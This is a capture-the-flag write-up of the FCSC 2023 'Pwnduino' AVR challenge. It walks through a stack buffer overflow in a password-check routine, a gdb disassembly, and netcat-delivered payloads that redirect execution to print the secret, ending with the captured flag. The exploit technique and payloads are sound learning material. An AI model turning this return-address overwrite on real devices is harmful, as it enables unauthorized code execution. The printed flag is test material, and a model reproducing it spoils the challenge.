[FCSC 2023] Pwn - Pwnduino
📖 Challenge Description
In this challenge, we need to exploit an AVR based binary, that has 1 simple feature: a login “page”.
Code Analysis
Before exploiting the program we first need to read the code and find the vulnerability.
1int main(void) {
2 uart_init();
3 uart_flush();
4
5 uart_puts("=== Welcome!\r\n");
6 while(1) {
7 uart_puts("Please enter your passphrase to compute CRC:\r\n");
8 if(passwd_check() == 0){
9 unsigned char crc;
10 uart_puts("OK! Computing the secret CRC\r\n");
11 crc = compute_secret_crc();
12 uart_puts("Writing CRC to EEPROM ...\r\n");
13 eeprom_write_byte(0, crc);
14 }
15 else{
16 uart_puts("KO :-( Bad password ...\r\n");
17 }
18 }
19 return 0;
20}
The main function calls passwd_check
and then if the function returns 0 it writes the flag to the eeprom. I am not very familiar with this but we will look into it afterwards.
1int passwd_check(void){
2 char buff[sizeof(passwd)];
3 unsigned int i;
4 int check;
5
6 memset(buff, 0, sizeof(buff));
7 i = 0;
8 while(1){
9 buff[i] = uart_get();
10 if(buff[i] == '\n'){
11 buff[i] = 0;
12 break;
13 }
14 i++;
15 }
16 check = 0;
17 for(i = 0; i < sizeof(passwd); i++){
18 check |= (buff[i] ^ pgm_read_byte(&(passwd[i])));
19 }
20 return check;
21}
The passwd_check function is more interessant because it handles a user input without checking the size. Indeed, the program reads an user input until “\n” is reached. It means that we can input as many characters as we wan’t and they will still be copied in the buf variable even if it is only 16 bytes long.
Another important function is the get_secret_address
that returns a char pointer to the flag and that we can maybe use later on.
1const char *get_secret_address(void)
2{
3 return secret;
4}
We now have every element to exploit our program: we need to overwrite the return address to redirect the code execution to print the flag.
🔬 Setup the debug environment
To debug/emulate avr binary we need to install the avr toolkit and install an avr emulator with qemu.
1$ sudo apt-get install avr-gcc avr-libc qemu-system-avr
We can compile the source code like this:
1$ make all
2avr-gcc -Wall -g -mmcu=atmega2560 uart.c main.c -o firmware_debug.elf
3avr-objcopy -O binary -R .eeprom firmware_debug.elf firmware_debug.bin
After this it took me quite long to find a good documentation but I came across this documentation https://qemu-project.gitlab.io/qemu/system/target-avr.html which describes very well what I need.
To emulate the binary we use this command
1qemu-system-avr -M mega2560 -bios firmware_debug.elf -nographic -serial tcp::5678,server=on,wait=off -s -S
The program will hang until it receives a tcp connection on port 5678 and until it is debugged by gdb. It’s really convenient because we can input stuff from netcat and we don’t need to pipe our payload to the parent process each time we wan’t to try something out.
To debug the progam we use avr-gdb
(from the avr toolkit) like this:
1$ avr-gdb -q firmware_debug.elf
2Reading symbols from firmware_debug.elf...
3(gdb) target remote :1234
At this stage I came across something annoying… we can’t use gdb wrapper like pwndbg because it’s an odd architecture …
💣 Exploit
note: debugging a binary with the basic version of gdb kinda feels like being naked but it didn’t gave me much troubles.
By inputing AAAAAAAAAAAAAAAABBBBCCCC
in the binary we can see that the return address is being overwritten by our input*2: if we input “\x41” it becomes “\x82” in the return address. We now know that the padding to overwrite the Instruction Pointer is 19 bytes long.
So it means that for instance if we wan’t to redirect the execution of the program to 0xdeadbeef we will have to input 0x6f56df77 in the program because 0x6f56df77*2 = 0xdeadbeef.
My first idea was to try redirecting the code execution after the jump. To do so, we need to find the address of the instruction after the check.
The decompilation of the function main
in avr instructions looks like this:
1 (gdb) disass main
2 0x00000440 <+0>: push r28
3 0x00000442 <+2>: push r29
4 0x00000444 <+4>: push r1
5 0x00000446 <+6>: in r28, 0x3d ; 61
6 0x00000448 <+8>: in r29, 0x3e ; 62
7 0x0000044a <+10>: call 0x142 ; 0x142 <uart_init>
8 0x0000044e <+14>: call 0x20c ; 0x20c <uart_flush>
9 0x00000452 <+18>: ldi r24, 0x00 ; 0
10 0x00000454 <+20>: ldi r25, 0x02 ; 2
11 0x00000456 <+22>: call 0x190 ; 0x190 <uart_puts>
12 0x0000045a <+26>: ldi r24, 0x0F ; 15
13 0x0000045c <+28>: ldi r25, 0x02 ; 2
14 0x0000045e <+30>: call 0x190 ; 0x190 <uart_puts>
15 0x00000462 <+34>: call 0x354 ; 0x354 <passwd_check>
16 0x00000466 <+38>: or r24, r25
17 0x00000468 <+40>: brne .+34 ; 0x48c <main+76>
18 0x0000046a <+42>: ldi r24, 0x3E ; 62
19 0x0000046c <+44>: ldi r25, 0x02 ; 2
20 0x0000046e <+46>: call 0x190 ; 0x190 <uart_puts>
21 0x00000472 <+50>: call 0x2e4 ; 0x2e4 <compute_secret_crc>
22 0x00000476 <+54>: std Y+1, r24 ; 0x01
23 0x00000478 <+56>: ldi r24, 0x5D ; 93
24 0x0000047a <+58>: ldi r25, 0x02 ; 2
25 0x0000047c <+60>: call 0x190 ; 0x190 <uart_puts>
26 0x00000480 <+64>: ldd r22, Y+1 ; 0x01
27 0x00000482 <+66>: ldi r24, 0x00 ; 0
28 0x00000484 <+68>: ldi r25, 0x00 ; 0
29 0x00000486 <+70>: call 0x4a4 ; 0x4a4 <eeprom_write_byte>
30 0x0000048a <+74>: rjmp .-50 ; 0x45a <main+26>
31 0x0000048c <+76>: ldi r24, 0x79 ; 121
32 0x0000048e <+78>: ldi r25, 0x02 ; 2
33 0x00000490 <+80>: call 0x190 ; 0x190 <uart_puts>
34 0x00000494 <+84>: rjmp .-60 ; 0x45a <main+26>
Note: there are no such thing as PIE on this binary so no need to have leaks.
The conditional jump happens a the offset +40 of the function
main
so if we overwrite the return address with the address of main+42 it should be good.
The offset 42 of the function main
coresponds to the address 0x0000046a so to redirect the execution to this adress we need to input "A"*19+"\x00"+"\x02"+"\x35"
(because the addresses on the AVR arch are in big endian)
It gives us:
1└─$ python2 -c 'print "A"*19+"\x00\x02\x35"' | nc localhost 5678
2OK! Computing the secret CRC
3Writing CRC to EEPROM ...
4Please enter your passphrase to compute CRC:
5
Soooo we do pass the check but no flag ?? Wtf ? In fact it’s because despite the fact that we successfully redirected the execution, the flag was never meant tu be printed to us by just passing the login…. We need to find a new solution.
Remember, we have a function that returns a char pointer to the flag, so can’t we just call get_secret_address
and then call uart_puts_p
that is specifically made to print out pointer ?
That is what we are going to do.
First we need the address of get_secret_address
which is 0x0002d2 and the address of uart_puts_p
which is 0x00026a.
It gives us the payload python2 -c 'print "A"*19+"\x00\x01\x69"+"\x00\x01\x35"'
Moment of truth
1└─$ python2 -c 'print "A"*19+"\x00\x01\x69"+"\x00\x01\x35"' | nc challenges.france-cybersecurity-challenge.fr 2104
2FCSC{a420bsdtAc120djf}
Thanks for reading and thanks to the creator for this challenge, it was my first time doing pwn on the AVR architecture and it was quite fun!
If you have any question you can send me a pm on discord: @numb3rss or on twitter: https://twitter.com/numbrs